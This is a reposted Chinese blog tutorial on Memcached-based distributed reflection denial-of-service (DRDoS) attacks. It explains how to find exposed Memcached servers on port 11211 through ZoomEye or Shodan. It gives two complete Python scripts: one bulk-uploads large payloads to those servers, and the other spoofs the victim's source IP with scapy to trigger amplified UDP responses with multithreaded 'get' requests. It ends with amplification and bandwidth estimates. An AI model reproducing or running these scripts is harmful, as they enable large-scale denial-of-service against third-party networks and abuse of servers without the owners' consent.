基于Memcached分布式系统DRDoS拒绝服务攻击技术研究(转)

    本次反射式拒绝服务攻击技术基于全球互联网分布式的Memcached服务器,须要储备必定得安全攻防知识,网络协议知识和python代码编程技术。但愿在学习本篇文章知识前自行学习相关的基础知识,文章后面同时附有参考连接。python

关于Memcached系统

       Memcached是一个自由开源的,高性能,分布式内存对象缓存系统。Memcached是以LiveJournal旗下Danga Interactive公司的Brad Fitzpatric为首开发的一款软件。如今已成为mixi、hatena、Facebook、Vox、LiveJournal等众多服务中提升Web应用扩展性的重要因素。Memcached是一种基于内存的key-value存储,用来存储小块的任意数据(字符串、对象)。这些数据能够是数据库调用、API调用或者是页面渲染的结果。Memcached简洁而强大。它的简洁设计便于快速开发,减轻开发难度,解决了大数据量缓存的不少问题。它的API兼容大部分流行的开发语言。本质上,它是一个简洁的key-value存储系统。通常的使用目的是,经过缓存数据库查询结果,减小数据库访问次数,以提升动态Web应用的速度、提升可扩展性。数据库

关于分布式DDoS原理

       分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来做为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提升拒绝服务攻击的威力。一般,攻击者使用一个偷窃账号将DDoS主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通信,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。编程

关于反射式DRDoS原理

     DRDoS是英文“Distributed Reflection Denial of Service ”的缩写,中文意思是“分布式反射拒绝服务”。与DoS、DDoS不一样,该方式靠的是发送大量带有被害者IP地址的数据包给攻击主机,而后攻击主机对IP地址源作出大量回应,造成拒绝服务攻击。缓存

攻击流程

DDoS攻击流程

要完成这个攻击流程,得至少须要三个步骤。安全

  1 攻击者手里必须控制大量肉鸡机器,而且分布式在互联互通分布在互联上。服务器

  2 攻击者随时能够经过代理或者控制程序同时向全部肉鸡发送大量攻击指令。网络

  3 全部肉鸡在接受指令后,同时大量并发,同时向受害者网络或者主机发起攻击行为。多线程

DRDoS攻击流程

DRDoS要完成一次反射放大攻击:并发

  1 攻击者,必须提早须要把攻击数据存放在全部的在线肉鸡或者反射服务器之上。app

  2 攻击者,必须伪造IP源头。发送海量伪造IP来源的请求。固然这里的IP就是受害者的IP地址。

  3 反射服务器,必须能够反射数据,运行良好稳定。最好是请求数据少,返回数据成万倍增长。

如此不断循环,就能够大规模攻击其带宽网络,增长占用率和耗损目标机的硬件资源。

利用Memcached实现的DRDos攻击反射流程

存活机器

  首先咱们要找到大量反射服务器,利用搜索引擎去发掘全球可利用在线服务器。这里我暂时用zoomeye进行搜集,你也能够用别的搜索引擎,好比shodan等。默认开启端口号是11211,利用知道创宇得钟馗之眼空间引擎搜索到全球538317台机器开启11211端口,运行着Memcached缓存服务系统。可是利用条件还有一个,就是咱们还得进一步帅选确认是否开启默承认以登陆的机器,这样就能够被咱们所利用了。有些已经设置了安全认证,那么就没法使用了。(全网公开跑下来五万多台服务器,其中有效验证可利用的有一千多台,这里就不公布了)

 

通讯协议

 

     从协议看,memcache同时监听tcp和udp。也就是说它自己支持两种协议同时能够发起交互和通讯。这个就很关键了。你们能够看看tcp和udp协议区别。因为TCP是字节流,没有包的边界,无所谓大小,一次发送接受的数据取决于实现以及你的发送接收缓存大小。

TCP没有限定,TCP包头中就没有“包长度”字段,而彻底依靠IP层去处理分帧。

可是UDP协议就不同了,他不基于链接,直接发送数据报到目标机器。

注意这个Length字段,只占有两个字节。因此说UDP协议发送数据就有了限制,单次最大发送2^16=65535=64KB。

若是想要发送更大数据包,那么只能使用TCP协议或者UDP屡次发送来实现,这里我已经测试过,两种协议都可以实现。

小结:

 一、TCP面向链接(如打电话要先拨号创建链接);UDP是无链接的,即发送数据以前不须要创建链接。
 二、TCP提供可靠的服务。也就是说,经过TCP链接传送的数据,无差错,不丢失,不重复,且按序到达;UDP尽最大努力交 付,即不保证可靠交付。
 三、TCP面向字节流,其实是TCP把数据当作一连串无结构的字节流;UDP是面向报文的。UDP没有拥塞控制,所以网络出 现拥塞不会使源主机的发送速率下降(对实时应用颇有用,如IP电话,实时视频会议等)。
 四、每一条TCP链接只能是点到点的;UDP支持一对一,一对多,多对一和多对多的交互通讯。
 五、TCP首部开销20字节;UDP的首部开销小,只有8个字节。
 六、TCP的逻辑通讯信道是全双工的可靠信道,UDP则是不可靠信道。

  好了,明白了这个,咱们就看看怎么利用基于TCP和UDP协议通讯的Memcached缓存系统。因为Memcached系统支持最大键值单数据对1M存储。因此咱们最大只能存储1M,固然你能够做多个字段,这样也会放大。那首先按照流程图咱们向远程服务器提早存储有效载荷,这里就是数据了。利用TCP协议能够一次性发1M,可是咱们要是利用UDP就得循环发送屡次才能完成1M数据传输。因为UDP具备不稳定性,数据包不保证可靠交付。这里我建议使用TCP进行发送。

数据格式

  Memcached简洁而强大。它的简洁设计便于快速开发,减轻开发难度,解决了大数据量缓存的不少问题。它的API兼容大部分流行的开发语言。本质上,它是一个简洁的key-value存储系统。
通常的使用目的是,经过缓存数据库查询结果,减小数据库访问次数,以提升动态Web应用的速度、提升可扩展性。

支持有以下全部命令和操做。

 Memcached 存储命令
 Memcached set 命令
 Memcached add 命令
 Memcached replace 命令
 Memcached append 命令
 Memcached prepend 命令
 Memcached CAS 命令
 Memcached 查找命令
 Memcached get 命令
 Memcached gets 命令
 Memcached delete 命令
 Memcached incr/decr 命令
 Memcached 统计命令
 Memcached stats 命令
 Memcached stats items 命令
 Memcached stats slabs 命令
 Memcached stats sizes 命令
 Memcached flush_all 命令

这里咱们重点介绍三种命令,由于咱们的攻击流程中将会涉及了这三种方式。

第一个是上传有效载荷Memcached set 命令

 

Memcached set 命令用于将 value(数据值) 存储在指定的 key(键) 中。

若是set的key已经存在,该命令能够更新该key所对应的原来的数据,也就是实现更新的做用。

set 命令的基本语法格式以下:

set key flags exptime bytes [noreply] 
value

参数说明以下:

  • key:键值 key-value 结构中的 key,用于查找缓存值。
  • flags:能够包括键值对的整型参数,客户机使用它存储关于键值对的额外信息 。
  • exptime:在缓存中保存键值对的时间长度(以秒为单位,0 表示永远)
  • bytes:在缓存中存储的字节数
  • noreply(可选): 该参数告知服务器不须要返回数据
  • value:存储的值(始终位于第二行)(可直接理解为key-value结构中的value)

    

第二个反射有效载荷Memcached get 命令

 

Memcached get 命令获取存储在 key(键) 中的 value(数据值) ,若是 key 不存在,则返回空。

get 命令的基本语法格式以下:

get key

多个 key 使用空格隔开,以下:

get key1 key2 key3

参数说明以下:

  • key:键值 key-value 结构中的 key,用于查找缓存值。  

第三个是退出远程服务器。quit\r\n命令便可,没有任何参数,注意要有回车换行。

 

攻击步骤

自动化上传有效载荷

     到了这里,咱们接下来就是如何利用这个过程实现DRDoS反射拒绝服务攻击。

     思路是这样的:咱们先批量上传指定数据到远程开放服务器Memcached上面,而后咱们再去Memcached服务器请求查询数据上一步存储的数据,(这一步很关键,咱们只能利用UDP协议进行反射,后面说明一下为何。)这样就能够将数据经过Memcached服务器反射到目标受害机器上了。这里咱们能够本身手动编写程序实现批量自动化上传有效载荷到远程服务器,等待上传完了咱们就能够进行UDP反射攻击了。

这里我用python脚本完成payload数据上传。

 

# -*- coding: UTF-8 -*-
''' Created on 2018.02.06 @author: 5t4rk ''' #!/usr/bin/python import random import sys import socket socket_timeout = 10.0 bullets_size = 10 * 1000 def reload_zombies_list(zombies_server_path): try: global zombies_list if (len(zombies_server_path) < 1): return "" with open(zombies_server_path) as f: zombies_list = f.readlines() return zombies_list except Exception, e: print e.message def random_int_char(i): try: temp = random.randint(0, 2) if temp == 0: return '%c' % (random.randint(0, 9) + 0x30) elif temp == 1: return '%c' % (random.randint(0, 25) + 0x41) else : return '%c' % (random.randint(0, 25) + 0x61) except Exception, e: print e.message def prepare_random_data(size_bytes, times): try: print '[random data : %8d times ]' % (times + 1) remote_data = ''
        for i in range(0, size_bytes): remote_data = remote_data + (random_int_char(i)) return remote_data.upper() except Exception, e: print e.message def tcp_weapon_function(mem_address, mem_port, data, reload_counts): if (not mem_address): return False if (len(data) < 1): return False else: try: mem_address = mem_address.strip('\n') mem_address = mem_address.strip('\r\n') mem_address = mem_address.strip() server_address = (mem_address, mem_port) # send sclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sclient.settimeout(socket_timeout) sclient.connect(server_address) print "[current num : %8d zombie]" % reload_counts print "[sending size: %8d bytes ]\t" % len(data), "[address :\t %14s ]" % mem_address reload_counts = reload_counts + 1 # send count = sclient.send(data) if count > 1: result = sclient.recv(1024) if not result: print "[No response]"
                    return False result = result.rstrip('\n') result = result.rstrip('\r\n') print "[sended size: %8d bytes ]\t" % count, "[received:\t %14s ]" % result # quit count = sclient.send("quit\r\n") if count > 1: print "[sended size: %8d bytes ]\t" % count, "[received:\t QUIT SUCCESSED ]" sclient.close() except Exception, e: print "[error :", e.message, "]" sclient.close() return True if __name__ == '__main__': zombies_list = [] current_index = 0 command = 0
    if len(sys.argv) == 5: path = sys.argv[1] command = int(sys.argv[2]) bullets_size = int(sys.argv[3]) socket_timeout = float(sys.argv[4]) reload_zombies_list(path) elif len(sys.argv) == 3: path = sys.argv[1] command = int(sys.argv[2]) reload_zombies_list(path) else: print "Example:\t" print "\tweapon.py server.txt 1 byte_size timeout" print "\tweapon.py server.txt 2" print "\t<command> 1 ddos memcache set" print "\t<command> 2 ddos memcache delete" print "\t<command> 3 ddos payload size" print "\t<command> 4 ddos time out (seconds)" exit() while current_index < len(zombies_list): try: if command == 1: random_value = prepare_random_data(bullets_size, current_index) action_data = "set anVzdGF0ZXN0 0 0 %d\r\n" % len(random_value) + random_value + "\r\n" tcp_weapon_function(zombies_list[current_index], 11211, action_data, current_index) elif command == 2: action_data = "delete anVzdGF0ZXN0\r\n" tcp_weapon_function(zombies_list[current_index], 11211, action_data, current_index) else: print "error command" action_data = "" except KeyboardInterrupt, e: print "[error : script stopped [ctrl + c]...]" except Exception, e: print "[error :", e.message, "]" current_index = current_index + 1 pass

 

 

输出结果

 

自动化反射有效载荷

     这里得注意一下,上面的自动化上传我使用了TCP协议发送数据包,反射我必须使用UDP协议。由于只有UDP协议是基于无链接的,这样咱们直接发送数据到目标服务器,不须要进行三次握手。同时服务器接收方也没法验证客户源IP,所以这个过程咱们才能够利用UDP伪造源地址,实现反射DRDoS攻击过程。

 利用socket和scapy库开发,采用多线程进行循环请求。(特别注意UDP协议使用的时候,每一个操做命令必须都要添加数据包结构要加头部8字节标志位, "\x00\x00\x00\x00\x00\x01\x00\x00")

这里使用python脚本完成反射攻击。

# -*- coding: UTF-8 -*-
''' Created on 2018.02.26 @author: 5t4rk ''' #!/usr/bin/python from scapy.all import * import sys import threading victim_address = "192.168.31.7" victim_port = 80 def udp_forge_packets(mem_address, mem_port, target_address, target_port, payload): pkt = scapy.all.IP(dst=mem_address, src=target_address) / scapy.all.UDP(sport=target_port, dport=mem_port) / payload send(pkt, inter=1, count=3) def ddos_attack_targets(mem_address, mem_port, target_address, target_port, payload, index): global total_times total_times = total_times + 1
    if (not mem_address): return False if (not mem_port): return False if (not target_address): return False if (not target_port): return False else: try: mem_address = mem_address.strip('\n') mem_address = mem_address.strip('\r\n') mem_address = mem_address.strip() target_address = target_address.strip('\n') target_address = target_address.strip('\r\n') target_address = target_address.strip() # send udp_forge_packets(mem_address, mem_port, target_address, target_port, payload) print "[count: %5d]" % total_times, "[index: %5d ]" % index, "[address: %s]" % mem_address except Exception, e: print "[error :", e.message, "]"
        return True def load_zombies_list(zombies_server_path): try: global zombies_list if (len(zombies_server_path) < 1): return "" with open(zombies_server_path) as f: zombies_list = f.readlines() return zombies_list except Exception, e: print e.message def banner_help(): print''' ---------------------------------------------------------- _____ _ ___ _ |  ___| |   /   |    | |
            |___ \| |_ / /| |_ __| | __ \ \ __/ /_| | '__| |/ /
            /\__/ / |_\___  | |  |   < \____/ \__|   |_/_|  |_|\_\ ----------------------------------------------------------
'''     print "Example:\t" print "\tmt_attack_ddos.py server.txt 10 1" print "\t<path> <thread> <times>" print "\t<option1> 1 server.txt" print "\t<option2> 2 ddos thread" print "\t<option3> 3 ddos times" print "----------------------------------------------------------" def thread_process(start_index, end_index, times=1): keep = start_index loop = times while loop > 0: while start_index < end_index: try: payload = "\x00\x00\x00\x00\x00\x01\x00\x00get anVzdGF0ZXN0\r\n" mem_address = zombies_list[start_index] mem_address = mem_address.strip('\n') mem_address = mem_address.strip('\r\n') mem_address = mem_address.strip() ddos_attack_targets(mem_address, 11211, victim_address, victim_port, payload, start_index) start_index = start_index + 1 except Exception, e: start_index = start_index + 1 loop = loop - 1 start_index = keep def create_thread(thread_num=10, attack_times=2): threads = [] try: total = len(zombies_list) mod = int(total % thread_num) remain = int(total / thread_num) for i in range(thread_num): if mod == 0: t = threading.Thread(target=thread_process, args=(i * remain, (i + 1) * remain, attack_times)) print 'thread %d start ' % i else: if i == thread_num - 1: t = threading.Thread(target=thread_process, args=(i * remain, (i + 1) * remain + mod, attack_times)) print 'thread %d start ' % i else: t = threading.Thread(target=thread_process, args=(i * remain, (i + 1) * remain, attack_times)) print 'thread %d start ' % i threads.append(t) for each in threads: each.start() each.join() except KeyboardInterrupt, e: print "Ctrl-c pressed ..." sys.exit(1) except Exception, e: print e.message if __name__ == '__main__': zombies_list = [] total_times = 0
    if len(sys.argv) == 4: load_zombies_list(sys.argv[1]) create_thread(int(sys.argv[2]), int(sys.argv[3])) else: banner_help() exit() pass

 

 

输出,能够实现

 

 

测试wireshark抓包

     

这里不妨能够进行一个大概理论计算

  好比单台服务器咱们虽然只发送的攻击指令只有二十个字节数据,但却能够返回1M数据。1M/20=5W(5万倍放大率),这可谓四两拨千斤。假设理想情况下咱们如今手里有50W可用机器,那么咱们的DRDoS理论值数值将会达到约50W*1M=500GB。你们想一想这个是多么恐怖的带宽和数据。如今目前国内可以抵御短期发起这么大的DDoS攻击的,几乎没有。好比去年攻击阿里云超过14小时,峰值流量达到453.8G。而DRDos能够只须要一分钟就能实现高达500G流量,这将是多么可怕的事情,多大的灾难。

总结体会

     关于这项DRDoS技术通过几天摸索研究也算已经了解清楚了,可是测试中发现有的网络环境里面会被一些路由器纠正源地址,使得反射攻击失败。究其缘由是由于其增长的uRPF机制,(Unicast Reverse Path Forwarding是一种单播反向路由查找技术,用于防止基于源地址欺骗的网络攻击行为。)从新修复了UDP源地址伪造。不过有些环境中没有这种机制的,那么咱们就能够利用此方法实现攻击。在这里分享给你们,但愿能够有人继续深刻分析和钻研,其中涉及利用的思路和技巧也可学习学习。好比说利用其免费的互联网存储资源,将你的数据源进行分布式存储,当作你的分布式私密云盘。

相关文章
相关标签/搜索